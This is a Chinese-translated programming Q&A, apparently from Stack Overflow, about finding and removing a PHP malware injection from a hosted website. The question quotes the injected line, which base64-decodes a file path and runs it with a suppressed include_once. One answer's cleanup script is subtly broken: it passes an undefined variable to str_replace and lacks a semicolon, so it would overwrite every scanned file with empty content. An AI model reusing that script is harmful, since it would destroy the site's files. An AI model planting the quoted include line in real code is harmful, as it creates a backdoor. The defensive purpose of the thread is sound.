1

好的,我对 php 很陌生,但我知道它可以读取目录和文件。

我一直在我们的一个站点上与恶意软件问题作斗争,我需要编写一个脚本来在我的主机空间上搜索它。

黑客在文件中放入的代码是

*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>

我不知道这是什么,但是当它出现时,谷歌会阻止我的网站。

我必须下载所有文件然后在dreamweaver中搜索它用空格替换这个废话并将它放回去。

我需要一个脚本来在谷歌之前检测到这一点。

如果有人可以给我一些指示,那就太好了

我相信这是每个​​人现在或以后都会面临的问题。

4

3 回答 3

1

将查找并替换您提供的字符串的纯 PHP 解决方案。或者,您可以只获取已修改的文件。注意:如果您使用此代码,则没有 UNDO选项,您使用它需要您自担风险。

$dir = '/your_dir/';
$searchstring = '*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>'

$iterator = new RecursiveDirectoryIterator($dir);

foreach (new RecursiveIteratorIterator($iterator) as $filename => $cur) 
{
    // Search and replace

    $contents = file_get_contents($filename);   
    $contents = str_replace($searchstring, ' ', $content);  
    file_put_contents($filename, $contents);

    // Alternatively, you can do this (instead of search and replace)

    if(strpos($contents, $searchstring) !== false)
    {
        $infected[] = $filename; // gives you an array that gives you paths to files that contain the injected code.
    }
}

您可以从浏览器或命令行运行脚本。我并不是说这是最好的选择。

于 2011-05-11T08:52:06.730 回答
0

使用您的 FTP 下载所有内容并运行查找和替换以获取完整目录(dreamweaver 支持完整目录)。我曾经遇到过这个问题,你可能也想在你的代码中寻找 javascript hack,他们也倾向于做 javascript 包含。

hack 代码尝试包含此文件:

/home/users/web/b1643/sl.thechess/public_html/MedcourtBackupoct2007/MedcourtBackupoct2007-2/b2b customer/Bubblepost Back up/public_html/Backups/Mediasuface 2005/Help and documentation/java api/JavaAPI/com/mediasurface/datatypes/searching/class-use/tsdeo.php

这是什么?我不知道,但这就是它试图做的。所以你可能会认为这个黑客是从你托管的服务器内部完成的。

于 2011-05-11T08:40:28.163 回答
0

如果您有 SSH 访问权限,您可以使用类似这样的命令,只需将“eval(base64_decode”) 替换为“base64_decode”。

如果不是,您将需要编写一个脚本,使用readdir对所有文件进行递归循环,然后使用一些strpos魔法来检测“base64_decode”。

如果您真的有问题,我会推荐sucuri 之类的第 3 方服务。

祝你好运!

于 2011-05-11T08:40:29.150 回答